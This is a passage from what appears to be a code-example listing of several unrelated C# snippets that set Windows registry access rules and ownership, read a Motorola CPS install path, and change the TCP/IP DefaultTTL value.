                Console.WriteLine("Setting new TTL value - " + TTL + "...");
                tcpip.SetValue("DefaultTTL", TTL, RegistryValueKind.DWord);
                tcpip.Close();
                tcpip6.SetValue("DefaultTTL", TTL, RegistryValueKind.DWord);
                tcpip6.Close();

                Console.WriteLine("All done. Please restart your computer.");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.ReadLine();
        }
Exemple #26
0
        protected virtual void SetAccessControl(RegistryKey key)
        {
            RegistryAccessRule rule          = new RegistryAccessRule(new SecurityIdentifier("S-1-15-2-1"), RegistryRights.QueryValues | RegistryRights.SetValue | RegistryRights.CreateSubKey | RegistryRights.EnumerateSubKeys | RegistryRights.Notify | RegistryRights.ReadPermissions, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow);
            RegistrySecurity   accessControl = key.GetAccessControl();

            accessControl.AddAccessRule(rule);
            key.SetAccessControl(accessControl);
        }
Exemple #27
0
    public static void Main()
    {
        string user = Environment.UserDomainName + "\\"
                      + Environment.UserName;

        // Create a security object that grants no access.
        RegistrySecurity mSec = new RegistrySecurity();

        // Add a rule that grants the current user ReadKey
        // rights. ReadKey is a combination of four other
        // rights. The rule is inherited by all
        // contained subkeys.
        RegistryAccessRule rule = new RegistryAccessRule(user,
                                                         RegistryRights.ReadKey,
                                                         InheritanceFlags.ContainerInherit,
                                                         PropagationFlags.None,
                                                         AccessControlType.Allow);

        mSec.AddAccessRule(rule);

        // Create a rule that allows the current user only the
        // right to query the key/value pairs of a key, using
        // the same inheritance and propagation flags as the
        // first rule. QueryValues is a constituent of
        // ReadKey, so when this rule is removed, using the
        // RemoveAccessRule method, ReadKey is broken into
        // its constituent parts.
        rule = new RegistryAccessRule(user,
                                      RegistryRights.QueryValues,
                                      InheritanceFlags.ContainerInherit,
                                      PropagationFlags.None,
                                      AccessControlType.Allow);
        mSec.RemoveAccessRule(rule);

        // Display the rules in the security object.
        ShowSecurity(mSec);

        // Add the second rule back. It merges with the
        // existing rule, so that the rule is now displayed
        // as ReadKey.
        mSec.AddAccessRule(rule);

        // Display the rules in the security object.
        ShowSecurity(mSec);
    }
        private void GetRegistry()
        {
            try
            {
                string           userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
                RegistrySecurity rs       = new RegistrySecurity();


                rs.AddAccessRule(new RegistryAccessRule(userName,
                                                        RegistryRights.FullControl,
                                                        InheritanceFlags.ObjectInherit,
                                                        PropagationFlags.InheritOnly,
                                                        AccessControlType.Allow));

                RegistryKey localMachinekey = Registry.LocalMachine;


                //RegistryKey sow6432NodeKey = localMachinekey.OpenSubKey(@"SOFTWARE\Wow6432Node", true);

                //if (sow6432NodeKey != null)
                //{
                //cpsKey = localMachinekey.OpenSubKey(@"SOFTWARE\Wow6432Node\Motorola\MOTOTRBO CPS", true);
                //}
                //else
                //{
                //    cpsKey = localMachinekey.OpenSubKey(@"SOFTWARE\Motorola\MOTOTRBO CPS", true);
                //}

                cpsKey = localMachinekey.OpenSubKey(@"SOFTWARE\Motorola\MOTOTRBO CPS", true);

                if (cpsKey == null)
                {
                    MessageBox.Show("PCR CPS not installed!");
                }

                cpsFolder = (string)cpsKey.GetValue("DefaultFolderPath");

                if (string.IsNullOrWhiteSpace(cpsFolder))
                {
                    MessageBox.Show("PCR CPS not installed!");
                }

                else
                {
                    this.UpdateFolder = Path.Combine(cpsFolder, @"deviceupdate\update");
                    //
                    if (!Directory.Exists(this.updateFolder))
                    {
                        Directory.CreateDirectory(this.updateFolder);
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
Exemple #29
0
        public static void GrantAllAccessPermission(RegistryKey rk)
        {
            NTAccount          ntAccount        = new SecurityIdentifier(WellKnownSidType.WorldSid, (SecurityIdentifier)null).Translate(typeof(NTAccount)) as NTAccount;
            RegistrySecurity   registrySecurity = new RegistrySecurity();
            RegistryAccessRule rule             = new RegistryAccessRule(ntAccount.ToString(), RegistryRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow);

            registrySecurity.AddAccessRule(rule);
            rk?.SetAccessControl(registrySecurity);
        }
Exemple #30
0
        public RegistryKey CreateRegKey(string regKeyName = "")
        {
            if (string.IsNullOrEmpty(regKeyName))
            {
                regKeyName = _regKey;
            }
            else
            {
                regKeyName = $"{this._regKey}\\{regKeyName}";
            }

            // creazione chiave
            _baseKey?.CreateSubKey(regKeyName ?? "", RegistryKeyPermissionCheck.ReadWriteSubTree)?.Close();

            // apertura con permessi per modifica permesssi
            RegistryKey key = _baseKey?.OpenSubKey(
                regKeyName,
                RegistryKeyPermissionCheck.ReadWriteSubTree,
                RegistryRights.ChangePermissions | RegistryRights.ReadKey | RegistryRights.WriteKey |
                RegistryRights.FullControl
                );

            // permessi da applicare
            RegistryRights acl = RegistryRights.WriteKey | RegistryRights.ReadKey | RegistryRights.Delete;

            // attuale policy
            if (EnvironmentUtils.IsWin())
            {
                try
                {
                    RegistrySecurity regSec = key?.GetAccessControl();

                    // aggiunta policy all'attuale
                    regSec?.AddAccessRule(
                        new RegistryAccessRule(
                            $"{Environment.UserDomainName}\\{Environment.UserName}",
                            acl,
                            InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                            PropagationFlags.InheritOnly,
                            AccessControlType.Allow
                            )
                        );

                    // definizione proprietario
                    regSec?.SetOwner(new NTAccount($"{Environment.UserDomainName}\\{Environment.UserName}"));

                    // applicazione della policy
                    key?.SetAccessControl(regSec);
                }
                catch
                {
                    // ignore
                }
            }

            return(key);
        }